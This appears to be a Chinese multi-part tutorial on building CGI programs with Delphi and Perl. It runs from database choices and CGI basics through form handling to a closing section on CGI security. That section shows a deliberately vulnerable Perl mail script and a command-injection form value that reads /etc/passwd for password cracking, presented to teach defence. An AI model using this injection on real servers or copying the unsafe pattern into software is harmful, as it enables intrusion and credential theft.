     如 果 要 对 CGI 和 数 据 库 的 应 用 进 行 分 类 的 话 ， 从 不 同 角 度 有 不 同 的 分 类 方 法 。 例 如 ， 按 数 据 库 的 规 模 可 以 分 成 文 本 数 据 库 、 本 地 数 据 库 (Microsoft Access 等 ) 和 数 据 库 服 务 器 (MS SQL Server 、 Informix 等 ) ； 按 CGI 的 处 理 内 容 可 以 分 为 前 端 数 据 库 CGI 程 序 ( 同 使 用 WEB 浏 览 器 的 用 户 交 互 的 CGI 程 序 ) 和 后 端 数 据 库 CGI 程 序 ( 同 数 据 库 交 互 的 CGI 程 序 ) 等 。 选 择 数 据 库 的 规 模 通 常 取 决 于 您 要 完 成 的 任 务 的 数 据 量 、 成 本 等 ； 在 编 制 CGI 程 序 时 采 用 前 端 和 后 端 分 开 还 是 结 合 通 常 取 决 于 您 的 数 据 处 理 的 复 杂 程 度 等 。

     通 常 ， 如 果 您 的 数 据 集 合 在 几 兆 字 节 之 内 ， 而 且 您 的 数 据 记 录 之 间 没 有 复 杂 的 关 系 ， 您 可 以 选 择 用 文 本 文 件 建 立 数 据 库 ， 这 样 可 以 使 成 本 限 制 在 最 小 ， 而 且 文 本 文 件 有 一 个 数 据 库 管 理 系 统 (DBMS ， 即 DataBase Management System) 所 没 有 的 优 势 ： 如 果 您 的 数 据 发 生 了 错 误 ， 您 可 以 将 您 的 文 本 文 件 调 入 任 何 一 个 文 本 编 辑 器 进 行 恢 复 ， 而 若 是 您 的 数 据 库 系 统 发 生 了 错 误 ， 除 非 您 是 一 个 数 据 库 专 家 ， 否 则 很 难 修 复 。

     如 果 您 的 数 据 集 合 非 常 大 ， 或 者 您 的 数 据 记 录 之 间 存 在 着 复 杂 的 关 系 ， 则 最 好 选 用 数 据 库 系 统 。 用 文 本 文 件 实 现 一 个 几 十 兆 的 数 据 库 会 使 任 何 一 台 高 级 的 RISC 服 务 器 不 堪 重 负 。 如 果 您 用 CGI 程 序 处 理 数 据 间 复 杂 的 关 系 ， 必 然 会 使 CGI 程 序 的 复 杂 性 加 大 ， 占 用 过 多 的 服 务 器 资 源 ； 另 一 方 面 ， 利 用 数 据 库 系 统 的 功 能 可 以 简 化 CGI 程 序 设 计 的 难 度 ， 提 高 开 发 效 率 。

     在 选 择 数 据 库 系 统 时 ， 您 需 要 从 以 下 几 个 方 面 进 行 选 择 ： 一 、 操 作 系 统 平 台 ： 您 应 该 选 择 您 最 熟 悉 的 数 据 库 系 统 ， 也 要 选 择 您 最 熟 悉 的 操 作 系 统 平 台 ， 只 有 这 样 ， 才 可 以 少 出 错 误 。 二 、 价 格 ： 您 应 在 各 种 能 完 成 您 的 工 作 的 数 据 库 系 统 中 选 择 最 便 宜 的 ， 在 这 里 ， 我 可 以 告 诉 大 家 一 个 免 费 的 数 据 库 系 统 ， 叫 MiniSQL ， 它 必 须 在 UNIX 或 Linux 平 台 上 运 行 ， 我 还 不 知 道 哪 里 有 Windows 平 台 的 免 费 数 据 库 系 统 ， 如 果 谁 知 道 ， 请 告 诉 我 ， 我 会 在 今 后 的 课 程 中 告 诉 大 家 的 。

     我 们 的 课 程 是 讲 述 用 Delphi 开 发 CGI 程 序 的 ， 而 Delphi 中 提 供 了 Interbase Server 数 据 库 系 统 ， 因 此 ， 我 在 这 里 将 主 要 讲 述 采 用 数 据 库 系 统 的 CGI 程 序 开 发 。 同 时 ， 由 于 数 据 库 系 统 减 轻 了 大 量 的 编 码 工 作 ， 我 采 用 前 端 CGI 和 后 端 CGI 合 二 为 一 的 方 式 ， 在 一 个 CGI 程 序 中 就 完 成 用 户 输 入 处 理 和 数 据 库 操 作 。 但 在 其 他 的 系 统 平 台 上 ， 也 许 这 种 方 式 会 不 使 用 ， 请 各 位 读 者 按 前 面 的 讨 论 自 己 斟 酌 。

     在 这 里 ， 我 要 附 带 说 明 一 下 几 种 不 同 的 CGI 及 其 在 我 们 的 OmniHTTPD 中 的 使 用 差 别 ：

     Standard CGI ： 标 准 CGI ， 必 须 放 置 在 /cgi-bin/ 设 置 的 目 录 下 ， 可 以 在 OmniHTTPD 运 行 时 随 时 修 改 。

     Win CGI ： 应 用 在 Windows 系 统 中 的 CGI ， 必 须 放 置 在 /cgi-win/ 设 置 的 目 录 下 。 此 CGI 应 用 INI 文 件 获 取 用 户 端 浏 览 器 的 请 求 ， 而 不 是 使 用 环 境 变 量 或 标 准 输 入 。 我 们 一 般 不 使 用 这 种 CGI 。

     ISAPI ： Microsoft 公 司 提 出 的 一 种 应 用 动 态 链 接 库 的 CGI 规 范 。

     NSAPI ： Netscape 公 司 提 出 的 一 种 应 用 动 态 链 接 库 的 CGI 规 范 。

     这 几 种 CGI 规 范 各 有 特 点 ： 其 中 Standard CGI 可 以 使 用 可 执 行 程 序 或 Perl 等 脚 本 语 言 编 写 ， 但 效 率 低 ， 占 用 资 源 多 ， 每 一 个 CGI 请 求 就 会 有 一 个 CGI 程 序 的 实 例 在 服 务 器 中 运 行 。 Win CGI 的 特 点 同 Stardand CGI 相 同 。 ISAPI 和 NSAPI 效 率 高 ， 常 驻 内 存 ， 而 且 无 论 有 多 少 个 CGI 请 求 ， 在 服 务 器 中 只 有 一 个 实 例 在 运 行 ， 仅 仅 是 这 个 实 例 对 应 的 数 据 集 合 不 同 ； 但 这 种 CGI 不 易 调 试 ， 因 为 它 必 须 在 WEB 服 务 器 软 件 关 闭 时 才 可 以 进 行 更 新 。

     在 下 一 讲 中 ， 我 将 给 出 一 个 White Page 的 示 范 程 序 。 White Page 是 一 个 电 子 邮 件 地 址 的 清 单 ， 您 可 以 让 用 户 通 过 WEB 浏 览 器 对 这 个 清 单 进 行 查 询 、 编 辑 、 新 增 和 删 除 等 操 作 。 在 这 一 讲 中 ， 我 给 出 的 示 范 程 序 仅 仅 是 查 询 操 作 ， 其 他 的 操 作 将 在 以 后 的 课 程 中 讲 述 。

     这 个 示 范 程 序 建 立 在 Borland Interbase Server 数 据 库 上 ， 用 Delphi 开 发 。 在 开 发 中 ， 我 选 择 的 是 Standard CGI ， 因 为 这 样 容 易 调 试 。

     我 们 的 程 序 使 用 Stardand CGI 进 行 编 写 ， 可 以 方 便 的 调 试 。 等 调 试 成 功 后 ， 在 Delphi 中 可 以 很 方 便 的 改 成 ISAPI/NSAPI ， 仅 仅 是 一 个 语 句 ( 怎 么 样 ， Delphi 很 不 错 吧 ！ ) 。


CSDN_文档中心_用Delphi编写CGI程序（三）

用Delphi编写CGI程序（三）
    也 许 各 位 读 者 感 到 CGI 程 序 有 一 种 神 秘 感， 在 这 一 部 分 将 讲 述 一 些 关 于 CGI 程 序 的 基 本 编 程 过 程。 您 读 了 之 后， 就 不 会 再 有 神 秘 感 了。

      3 、 CGI 规 范 的 其 他 问 题：

      也 许 各 位 读 者 感 到 CGI 程 序 有 一 种 神 秘 感， 在 这 一 部 分 将 讲 述 一 些 关 于 CGI 程 序 的 基 本 编 程 过 程。 您 读 了 之 后， 就 不 会 再 有 神 秘 感 了。

      首 先， 在 进 行 任 何 编 程 工 作 时， 将 一 个 大 任 务 分 成 许 多 小 任 务， 每 个 小 任 务 完 成 相 对 独 立 的 功 能。 许 多 人 不 愿 自 己 编 写 CGI 程 序， 就 是 因 为 觉 得 CGI 编 程 很 难。 其 实， 将 一 个 典 型 的 CGI 程 序 分 成 以 下 几 个 部 分， 再 一 一 解 决， 您 就 不 会 对 CGI 程 序 感 到 困 难 了：

      总 体 的 说， 在 浏 览 器 中 调 用 一 个 CGI 程 序 时， 服 务 器 首 先 要 找 到 CGI 程 序， 一 般 的， CGI 程 序 都 放 在 服 务 器 指 定 的 目 录 中， 在 我 们 的 OmniHTTPD 中， 在 cgi-bin 和 cgi-win 虚 拟 目 录 指 定 的 实 际 目 录 下， 分 别 为 c:\httpd\cgi-bin 和 c:\httpd\cgi-win 目 录。 您 可 以 在 OmniHTTPD 中 修 改 实 际 目 录， 也 可 以 添 加 虚 拟 目 录， 如： 将 虚 拟 目 录 cgi-test 指 定 为 c:\my-cgi ； 如 果 您 在 c:\my-cgi 目 录 下 有 一 个 名 为 test1.cgi 的 CGI 程 序， 您 可 以 在 浏 览 器 中 通 过 地 址 http://localhost/cgi-test/test1.cgi 调 用 它。

      在 正 常 情 况 下 服 务 器 找 到 了 浏 览 器 请 求 的 CGI 程 序， 就 产 生 了 此 CGI 程 序 的 一 个 进 程。 这 样， 浏 览 器 与 服 务 器 就 建 立 好 了 连 接。 一 旦 CGI 程 序 执 行 完 毕， 此 进 程 就 消 失， 连 接 也 消 失 了。 上 图 中 所 有 的 操 作 都 是 在 建 立 了 连 接 的 时 间 内 完 成 的， 因 此， 每 个 CGI 程 序 完 成 的 任 务 要 尽 可 能 小， 否 则， 会 占 用 服 务 器 的 大 量 时 间 和 资 源， 客 户 端 浏 览 器 的 等 待 时 间 也 会 很 长。

      在 上 面 的 图 中 您 可 以 看 到，CGI 程 序 一 般 分 为 数 据 输 入、 数 据 处 理 和 数 据 输 出 三 个 部 分； 有 时， 要 在 数 据 处 理 部 分 同 数 据 库 进 行 交 互（ CGI 程 序 的 特 长 也 在 此）。 这 三 个 部 分 中， 数 据 输 入 和 数 据 输 出 有 严 格 的 规 范， 而 数 据 处 理 就 是 您 发 挥 想 象 力 的 地 方 了。 下 面， 我 将 着 重 讲 一 讲 数 据 输 入 和 数 据 输 出 的 规 范 及 注 意 事 项：

      在 以 前， 我 们 曾 列 出 了 CGI 程 序 所 用 的 几 乎 所 有 环 境 变 量。 其 中， 有 相 当 一 部 分 是 同 数 据 的 输 入 和 输 出 有 密 切 关 系 的。 下 面， 我 们 就 分 类 列 出 其 中 最 常 用 的 环 境 变 量：

      与 服 务 器 相 关 的 环 境 变 量：

GATEWAY_INTERFACE
SERVER_NAME
SERVER_PORT
SERVER_PROTOCOL
SERVER_SOFTWARE

      与 客 户 机 相 关 的 环 境 变 量：

HTTP_ACCEPT
HTTP_ACCEPT_ENCODING
HTTP_ACCEPT_LANGUAGE
HTTP_AUTHORIZATION
HTTP_CHARGE_TO
HTTP_FROM
HTTP_IF_MODIFIED_SINCE
HTTP_PRAGMA
HTTP_REFERER
HTTP_USER_AGENT

      与 请 求 相 关 的 环 境 变 量：

AUTH_TYPE
CONTENT_FILE
CONTENT_LENGTH
CONTENT_TYPE
OUTPUT_FILE
PATH_INFO
PATH_TRANSLATED
QUERY_STRING
REMOTE_ADDR
REMOTE_USER
REQUEST_LINE
REQUEST_METHOD
SCRIPT_NAME

      在 这 里 值 得 说 明 的 是 CONTENT_FILE 和 OUTPUT_FILE 。 在 Windows 3.1 和 DOS 上 没 有 很 多 语 言 可 以 通 过 标 准 输 入 输 出（ STDIN 和 STDOUT ） 读 和 写， 所 以 用 这 两 个 变 量 代 替。 其 他 的 环 境 变 量 可 以 参 考 以 前 的 详 细 列 表。

      以 前 讲 过， GET 方 法 通 过 URL 传 递 数 据； POST 方 法 通 过 STDIN 传 递 数 据。 无 论 是 用 什 么 方 法， 数 据 传 递 过 程 中 数 据 是 经 过 编 码 的。 不 过， 我 们 不 用 担 心 编 码 和 解 码 的 问 题， 因 为 我 们 将 用 的 开 发 语 言 可 以 自 动 完 成 此 任 务： 在 Perl 中 是 cgi-lib.pl ， 在 Delphi 中 是 TWebModule 等。

      头 信 息 在 CGI 编 程 中 也 是 非 常 重 要 的。 头 信 息 是 CGI 程 序 在 向 客 户 机 发 信 息 前 的 信 号。 有 三 个 主 要 的 头 信 息 类 型：

Content-type　//向浏览器传递HTML
Location　　　//向浏览器传递新的URL
Status　　　　//通常在CGI程序出错使用来检查错误

      Content-type 是 浏 览 器 处 理 的 信 息 类 型， 主 要 是 MIME 的 类 型。 定 义 的 方 法 为 类 型 和 子 类 型 的 组 合。 常 用 的 MIME 类 型 有： Text 、 Multipart 、 Message 、 Application 、 Image 、 Audio 和 Video 。

      例 如， CGI 程 序 要 向 浏 览 器 传 送 一 个 HTML 文 档 前， 应 先 传 送 text/html 。 用 Perl 书 写 如 下：

      print "Content-type:text/html\n\n"
      print "< h1> Hi everyone! < /h1>\n"

      Location 使 浏 览 器 转 向 新 的 URL 。 例 如：

      print "Location:http://www.chinabyte.com"

      这 段 Perl 程 序 使 浏 览 器 转 向 ChinaByte 的 主 页。

      Status 指 出 CGI 程 序 的 状 态， 通 常 在 CGI 程 序 出 错 使 用 来 检 查 错 误。 下 表 列 出 了 常 用 的 状 态 码 及 含 义：

代 码　结 果　　　　　　　　　　　　 描 述
200　　OK　　　　　　　　　　　　　请 求 正 常 满 足
202　　Accept　　　　　　　　　　　请 求 被 接 受， 处 理 中
301　　Moved　　　　　　　　　　　 文 档 被 移 到 新 地 点
302　　Found　　　　　　　　　　　 文 档 不 在 说 明 处， 但 在 服 务 器 别 处
400　　Bad Request HTTP　　　　　　请 求 的 语 法 不 对
401　　Unauthorized　　　　　　　　文 档 需 要 存 取 权
403　　Forbindden　　　　　　　　　服 务 器 拒 绝 访 问 文 档
404　　No Found　　　　　　　　　　服 务 器 找 不 到 文 档
500　　Server Error　　　　　　　　服 务 器 发 生 严 重 错 误
502　　Service Overloaded　　　　　服 务 器 忙， 无 法 处 理 请 求

      这 一 讲 到 这 里 就 完 了。 各 位 有 了 这 些 CGI 的 基 础 知 识 后， 可 以 开 始 使 用 任 何 一 种 语 言 一 步 步 开 发 CGI 程 序 了。 我 再 一 次 告 诉 大 家， CGI 程 序 并 不 神 秘， 它 只 不 过 是 一 种 建 立 服 务 器 和 某 种 任 务 的 对 话。


CSDN_文档中心_用Delphi编写CGI程序（四）

用Delphi编写CGI程序（四）

从 这 一 讲 开 始，我 们 将 进 入 CGI 程 序 设 计 的 学 习 过 程。通 过 前 面 几 讲 的 学 习，您 已 经 掌 握 了 CGI 程 序 设 计 的 基 础 知 识。现 在，您 可 以 坐 下 来 编 写 CGI 程 序 了！

三、CGI 程 序 设 计
    1、服 务 器 端 附 件 (SSI) 及 网 关
    2、网 关：通 过 WEB 连 接 其 他 协 议

在 编 写 CGI 程 序 的 过 程 中，最 好 遵 循 以 下 几 个 应 用 程 序 设 计 的 要 点：
    （1）提 出 问 题 -- 您 要 解 决 的 问 题
    （2）设 计 阶 段 -- 构 想 出 CGI 程 序 的 基 本 框 架 和 功 能
    （3）编 码 阶 段 -- 用 行 动 实 现 思 想
    （4）程 序 移 植 -- 编 写 可 移 植 的 代 码
    （5）精 益 求 精 -- 使 程 序 更 上 一 层 楼

1、服 务 器 端 附 件 (SSI) 及 网 关

     在 本 节 将 介 绍 服 务 器 端 附 件 SSI(Server Side Include) 和 网 关。严 格 的 说，SSI 并 不 是 CGI 程 序 设 计 的 内 容，但 SSI 可 以 完 成 一 些 简 单 CGI 程 序 所 能 完 成 的 工 作，有 时 SSI 甚 至 是 最 好 的 选 择。因 此，在 这 里 作 简 单 介 绍。

     SSI 定 义 了 一 组 嵌 入 HTML 文 本 的 命 令，在 HTML 文 本 送 往 HTTP 客 户 端 前，WEB 服 务 器 对 这 些 SSI 命 令 先 作 预 处 理，将 处 理 后 的 HTML 文 本 输 出 到 HTTP 客 户 端 的 浏 览 器。

     SSI 的 命 令 格 式 是：

     < !--# 命 令 参 数 =" 值 " -->

     SSI 命 令 同 Java 或 JavaScript 不 同，它 是 在 服 务 器 端 处 理 的，而 不 是 在 客 户 端 处 理 的，这 一 点 同 CGI 程 序 是 相 似 的。当 然，在 SSI 的 功 能 范 围 内，其 优 点 同 CGI 程 序 相 同，可 以 提 高 服 务 器 的 资 源 利 用 率，而 且 在 客 户 端 用 任 何 WEB 浏 览 器 都 可 以 浏 览 含 有 SSI 的 HTML 文 本。

     下 面 是 常 用 的 六 个 SSI 命 令：
    （1）Include命令
    （2）echo 命 令
    （3）exec 命 令
    （4）config 命 令
    （5）fsize 命 令
    （6）flastmod 命 令

     include 命 令

     唯 一 支 持 的 参 数 是 file，这 是 在 当 前 HTML 文 本 中 插 入 file 参 数 指 定 的 文 件 的 内 容。如 果 您 了 解 C 语 言，可 以 看 出 它 和 C 语 言 中 的“#include”命 令 的 功 能 是 一 样 的。例 如，有 两 个 HTML 文 本：main.html 和 header.html，在 main.html 中 使 用 include 命 令：　　main.html:
    < html>
    < tilte> Test Include SSI Command < /title>
    < !--#include file="header.html" -->
    < body>
    The above header comes from header.html!
    < /body>
    < /html>
    header.html:
    < H1> This is a title in header.html! < /H1>
    ( 不 过，好 象 OmniHTTPD 不 支 持 include 命 令，:< !)

    echo 命 令

    唯 一 支 持 的 参 数 是 var，它 用 于 显 示 服 务 器 提 供 的 变 量，例 如：
    DOCUMENT_NAME：当 前 文 件 名
    DOCUMENT_URL：SSI 文 本 的 相 对 路 径
    DATE_LOCAL：当 地 日 期
    DATE_GMT：GMT(Creenwich 标 准 时 间 ) 日 期
    LAST_MODIFIED：包 含 此 SSI 命 令 的 文 件 的 最 近 修 改 日 期
    HTTP_USER_AGENT：浏 览 器 名。

    例 如：main.shtml 　　< html>
    This document was last updated on < !--#echo var="LAST_MODIFIED"-->
    < /html>

     当 您 用 浏 览 器 打 开 main.shtml 时 可 以 看 到 最 后 修 改 时 间。( 要 注 意 的 是，必 须 将 main.shtml 存 储 在 OmniHTTPD 的 HtDocs 目 录 下，在 浏 览 器 中 用 地 址 http://localhost/main.shtml 访 问。)

     exec 命 令
     两 个 参 数 是 cgi 和 cmd。前 者 调 用 一 个 可 执 行 文 件，如 cgi="/cgi-bin/finger.cgi"；后 者 调 用 一 个 系 统 命 令，如 cmd="ls"。遗 憾 的 是，OmniHTTPD 不 支 持 此 SSI 命 令 ( 也 许 现 在 的 最 新 版 支 持 )。

     config 命 令
     此 命 令 设 置 服 务 器 处 理 文 件 和 显 示 日 期 的 方 法。它 有 两 个 参 数：
    （1）timefmt，决 定 显 示 日 期 的 格 式。在 UNIX 中 用 man strftime 查 询 可 用 的 值。
    （2）sizefmt，决 定 显 示 文 件 长 度 的 格 式。值 为 bytes 或 addrev。这 个 命 令 在 OmniHTTPD 中 也 不 支 持。

     fsize 命 令
     此 命 令 显 示 给 定 文 件 的 大 小。参 数 是 file，指 定 文 件 的 路 径 及 文 件 名。

     flastmod 命 令
     此 命 令 显 示 指 定 文 件 的 最 近 修 改 日 期。参 数 是 file，指 定 文 件 的 路 径 及 文 件 名。

2、网 关：通 过 WEB 连 接 其 他 协 议
     HTTP 协 议 无 法 访 问 Internet 的 所 有 资 源，要 访 问 HTTP 协 议 以 外 的 资 源 时 ( 例 如 POP3 和 SMTP 收 发 电 子 邮 件 )，就 需 要 网 关。CGI 程 序 是 实 现 网 关 的 好 方 法。

     在 许 多 UNIX 的 HTTP 服 务 器 中 提 供 一 些 常 用 的 网 关，例 如 finger、wais、archie 等。但 在 OmniHTTPD 中，没 有 提 供 这 些 网 关。但 我 们 可 以 通 过 编 写 CGI 程 序 向 OmniHTTPD 中 增 加 网 关 功 能。

表 单 及 其 处 理

     HTML 表 单 是 WEB 文 档 的 一 部 分 ， 用 于 将 用 户 填 写 的 信 息 提 交 给 服 务 器 。 通 常 ， 这 些 信 息 传 递 给 CGI 程 序 ， CGI 程 序 依 据 输 入 信 息 进 行 一 系 列 操 作 或 数 据 加 工 ， 再 生 成 表 示 处 理 结 果 的 HTML 文 档 发 回 给 客 户 浏 览 器 。

     由 此 可 见 ， CGI 程 序 的 关 键 部 分 是 得 到 输 入 数 据 和 生 成 HTML 文 档 ， 而 操 作 和 数 据 处 理 部 分 同 大 多 数 应 用 程 序 相 同 。 在 这 一 讲 ， 我 将 介 绍 如 何 在 Perl 和 Delphi 中 得 到 数 据 及 输 出 HTML 文 档 。

     首 先 ， 我 们 建 立 一 个 名 为 greeting.html 的 HTML 文 档 ：

     greeting.html 文 件 ( 存 储 在 OmniHTTPD 的 HtDocs 目 录 下 )
     < html>
     < head>
     < title> This is a greeting page! < /title>
     < h1> Greeting < /h1>
     < body>
     < hr>
     < form action="/cgi-bin/greeting.pl" method=POST>
     < p> Your First Name: < input type=text name="firstname" size=60 maxlength=80> < /p>
     < p> Your Last Name: < input type=text name="lastname" size=60 maxlength=80> < /p>
     < hr>
     < p> < input type=submit value="All OK!"> < input type=reset value="Clear All"> < /p>
     < /form>
     < /body>
     < /html>

     下 面 是 Perl 的 CGI 程 序 greeting.pl ：
     greeting.pl 文 件 ( 存 储 在 OmniHTTPD 的 cgi-bin 目 录 下 ) # Greeting You!
require "cgi-lib.pl";

# ===================================
# get input values

&ReadParse(*input);
$mFirstName = $input{'firstname'};
$mLastName = $input{'lastname'};

# ===================================
# do some operations here

$mFullName = "$mFirstName $mLastName";

# ===================================
# create HTML document to output

print &PrintHeader;
print "< html>< head>< title> Greeting You! < /title>< /head>\n";
print "< body> Hello, < i>$mFullName< /i> !\n";
print "< hr> by Greeting.pl < /body>< /html>";

# ===================================
# All done!

     通 过 浏 览 http://localhost/greeting.html 测 试 CGI 程 序 。

     在 上 面 的 Perl 程 序 中 ， 作 为 CGI 程 序 ， 必 须 用 require "cgi-lib.pl" 来 引 用 cgi-lib.pl 文 件 ， 此 文 件 有 许 多 用 于 CGI 编 程 的 函 数 和 过 程 。 require 相 当 于 C 中 的 #include ， 但 要 注 意 的 是 ， require 语 句 后 必 须 有 分 号 。

     ReadParse 过 程 读 取 HTML 表 单 提 交 的 数 据 ， 参 数 是 一 个 数 组 指 针 。 要 注 意 的 是 ， 在 Perl 中 ， 函 数 和 过 程 的 调 用 要 在 前 面 加 上 & 符 号 。

     mFirstName 、 mLastName 和 mFullName 是 变 量 。 在 Perl 中 ， 变 量 名 前 要 有 $ 符 号 。

     PrintHeader 函 数 实 际 上 返 回 值 是 "Content-type: text/html\n\n" ， 它 告 诉 浏 览 器 下 面 的 数 据 是 HTML 文 档 。

     生 成 HTML 文 档 部 分 很 简 单 ， 就 是 用 print 语 句 将 HTML 文 档 的 内 容 输 出 就 可 以 了 。 怎 么 样 ， 会 用 Perl 编 写 CGI 程 序 了 吧 ？

     下 面 ， 我 们 来 编 写 一 段 Delphi 程 序 来 完 成 相 同 的 功 能 ：

     先 关 闭 Delphi 中 的 所 有 项 目 ， 选 择 菜 单 File/New ， 在 对 话 框 中 选 择 Web Server Application 类 型 ， 使 用 CGI Stand-alone excutable 选 项 ， 则 出 现 一 个 新 项 目 ， 其 主 窗 口 名 为 WebModule1 。

     在 WebModule1 的 Actions 属 性 上 双 击 鼠 标 ， 出 现 Actions 属 性 编 辑 窗 口 。 在 窗 口 中 新 建 一 Action ， 名 为 WebActionItem1 ， 将 其 Default 属 性 设 为 True ； 并 在 它 的 Events 中 双 击 OnAction 事 件 ， 添 入 下 面 的 代 码 ：
procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var
    mFirstName, mLastName, mFullName: string;
    HtmlDoc: string;
begin
// Get Input Values:
    mFirstName := Request.ContentFields.Values['firstname'];
    mLastName := Request.ContentFields.Values['lastname'];
// Do some operations here
    mFullName := mFirstName + ' ' + mLastName;

// Create HTML document to output
    HtmlDoc := '< html>< head>< title> Greeting You! < /title>< /head>';
    HtmlDoc := HtmlDoc + '< body> Hello, < i>' + mFullName + '< /i> !';
    HtmlDoc := HtmlDoc + '< hr> by Greeting.cgi < /body>< /html>';

    Response.Content := HtmlDoc;
end;

     将 此 工 程 的 单 元 存 为 cgimain.pas ， 将 工 程 存 为 greeting.dpr 。 编 译 ( 用 Ctrl+F9) 后 ， 将 greeting.exe 复 制 到 OmniHTTPD 的 cgi-bin 目 录 下 ， 并 改 名 为 greeting.cgi 。 同 时 ， 将 前 面 我 们 写 的 greeting.html 做 如 下 修 改 ：

     将 < form action="/cgi-bin/greeting.pl" method=POST> 改 成
        < form action="/cgi-bin/greeting.cgi" method=POST>

     这 样 ， 通 过 浏 览 http://localhost/greeting.html 就 可 以 测 试 用 Delphi 编 写 的 CGI 程 序 了 。

     从 这 个 程 序 可 以 看 出 ， 在 Delphi 中 CGI 程 序 一 得 到 一 个 请 求 就 发 生 WebActionItem 的 OnAction 事 件 。 在 这 个 事 件 中 ， 数 据 输 入 和 HTML 文 档 生 成 是 这 样 做 的 ：

     通 过 Request.ContentFields.Values[HTML 表 单 元 素 名 ] 得 到 表 单 元 素 的 值 。

     通 过 对 Response.Content 赋 值 生 成 HTML 文 档 。

     下 面 是 Delphi 程 序 的 三 个 文 件 内 容 ： -----------------------------------------------------------
greeting.dpr :

program greeting;

{$APPTYPE CONSOLE}

uses
  HTTPApp,
  CGIApp,
  cgimain in 'cgimain.pas' {WebModule1: TWebModule};

{$E cgi}

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TWebModule1, WebModule1);
  Application.Run;
end.
-----------------------------------------------------------

cgimain.pas :

unit cgimain;

interface

uses Windows, Messages, SysUtils, Classes, HTTPApp;

type
  TWebModule1 = class(TWebModule)
    procedure WebModule1WebActionItem1Action(Sender: TObject;Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  WebModule1: TWebModule1;

implementation

{$R *.DFM}

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;　Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var
  mFirstName, mLastName, mFullName: string;
  HtmlDoc: string;
begin
  // Get Input Values:
  mFirstName := Request.ContentFields.Values['firstname'];
  mLastName := Request.ContentFields.Values['lastname'];

  // Do some operations here
  mFullName := mFirstName + ' ' + mLastName;

  // Create HTML document to output
  HtmlDoc := '< html>< head>< title> Greeting You! < /title>< /head>';
  HtmlDoc := HtmlDoc + '< body> Hello, < i>' + mFullName + '< /i> !';
  HtmlDoc := HtmlDoc + '< hr> by Greeting.cgi < /body>< /html>';

  Response.Content := HtmlDoc;
end;

end.

-----------------------------------------------------------
cgimain.dfm ：
object WebModule1: TWebModule1
  OldCreateOrder = False
  Actions = <
    item
      Default = True
      Name = 'WebActionItem1'
      OnAction = WebModule1WebActionItem1Action
    end>
  Left = 192
  Top = 107
  Height = 150
  Width = 215
end


CSDN_文档中心_用Delphi编写CGI程序（五）

用Delphi编写CGI程序（五）
    CGI 程 序 的 功 能 是 强 大 的, 但 正 是 因 为 如 此 ， 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话，将 使 您 的 系 统 千 疮 百 孔。 本 篇 就 CGI的 安 全 性 问 题 做 一 讨 论。

3 、 CGI 的 安 全 性

     CGI 程 序 的 功 能 是 强 大 的 ， 它 不 仅 可 以 具 有 普 通 程 序 的 功 能 ， 而 且 可 以 将 程 序 的 结 果 发 布 在 WEB 上 。 但 正 是 因 为 CGI 程 序 的 功 能 如 此 强 大 ， 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话 ， 将 使 您 的 系 统 千 疮 百 孔 ， 让 一 些 非 法 用 户 有 机 可 乘 。

     这 里 所 讲 到 的 安 全 性 并 不 是 CGI 规 范 引 起 的 ， 而 是 编 程 和 系 统 设 置 不 当 引 起 的 。 CGI 规 范 使 用 户 可 以 利 用 服 务 器 的 计 算 能 力 ， 是 在 服 务 器 上 的 计 算 不 当 导 致 了 系 统 的 安 全 漏 洞 。 下 面 我 给 出 一 个 在 UNIX 系 统 上 的 一 个 CGI 安 全 漏 洞 ， 这 个 漏 洞 是 非 常 常 见 的 。
# !/usr/local/bin/perl
# formmail.cgi

require "cgi.pl";

# Launch e-mail application "/bin/mail" with Subject: header from the "formname" field
open (MAIL, "|/bin/mail -s '".$input{"formname"}."' webweave");

# Add send "formcontents" field as the body of the message
print MAIL $input{"formcontents"};
close(MAIL);
exit(0);

     在 这 个 例 子 中 ， CGI 程 序 将 表 单 的 信 息 提 交 给 /bin/mail ， 并 发 送 到 webveave 服 务 器 上 去 。 在 大 多 数 情 况 下 这 个 CGI 程 序 可 以 正 常 完 成 任 务 ， 但 此 CGI 程 序 未 过 滤 用 户 在 WEB 表 单 中 输 入 的 信 息 ， 因 此 留 下 了 安 全 隐 患 。 当 用 户 或 别 有 用 心 的 人 输 入 了 错 误 的 数 据 可 能 导 致 系 统 错 误 或 得 到 不 应 有 的 权 限 。

     例 如 用 户 在 WEB 表 单 的 "formname" 中 填 写 下 面 的 内 容 ：

     "ls /etc/passwd 'cracker@illegal.org #'

     在 用 户 的 WEB 浏 览 器 中 就 会 显 示 出 /etc/passwd 的 内 容 ， 若 此 UNIX 系 统 的 passwd 文 件 没 有 shadow ， 用 户 就 可 以 利 用 此 内 容 ， 使 用 crack jack 或 crack john 就 可 以 试 图 破 解 密 码 ！

     前 面 已 经 提 到 ， CGI 的 安 全 是 程 序 员 和 系 统 管 理 员 都 应 负 责 的 ， 下 面 我 就 分 别 讲 一 讲 二 者 应 注 意 的 事 ：

     系 统 管 理 员 的 工 作 ：
     1 、 与 程 序 员 合 作 ， 共 享 有 关 服 务 器 安 全 的 信 息 ， 同 时 互 相 检 查 代 码 ， 及 时 发 现 代 码 中 的 安 全 问 题 。
     2 、 使 用 好 的 服 务 器 软 件 ， 经 常 去 服 务 器 软 件 的 WEB 站 点 了 解 最 新 的 信 息 。
     3 、 将 服 务 器 的 用 户 限 制 在 特 定 的 网 络 主 机 上 ， 使 用 服 务 器 的 安 全 管 理 功 能 、 设 置 路 由 存 取 控 制 等 。
     4 、 对 CGI 功 能 进 行 限 制 ， 部 分 高 级 服 务 仅 限 于 信 任 的 用 户 ， 将 测 试 中 的 CGI 程 序 的 使 用 限 制 在 开 发 人 员 中 ， 只 提 供 给 用 户 经 过 测 试 的 CGI 程 序 。
     5 、 在 使 用 其 他 人 的 CGI 程 序 时 ， 仔 细 检 查 代 码 。
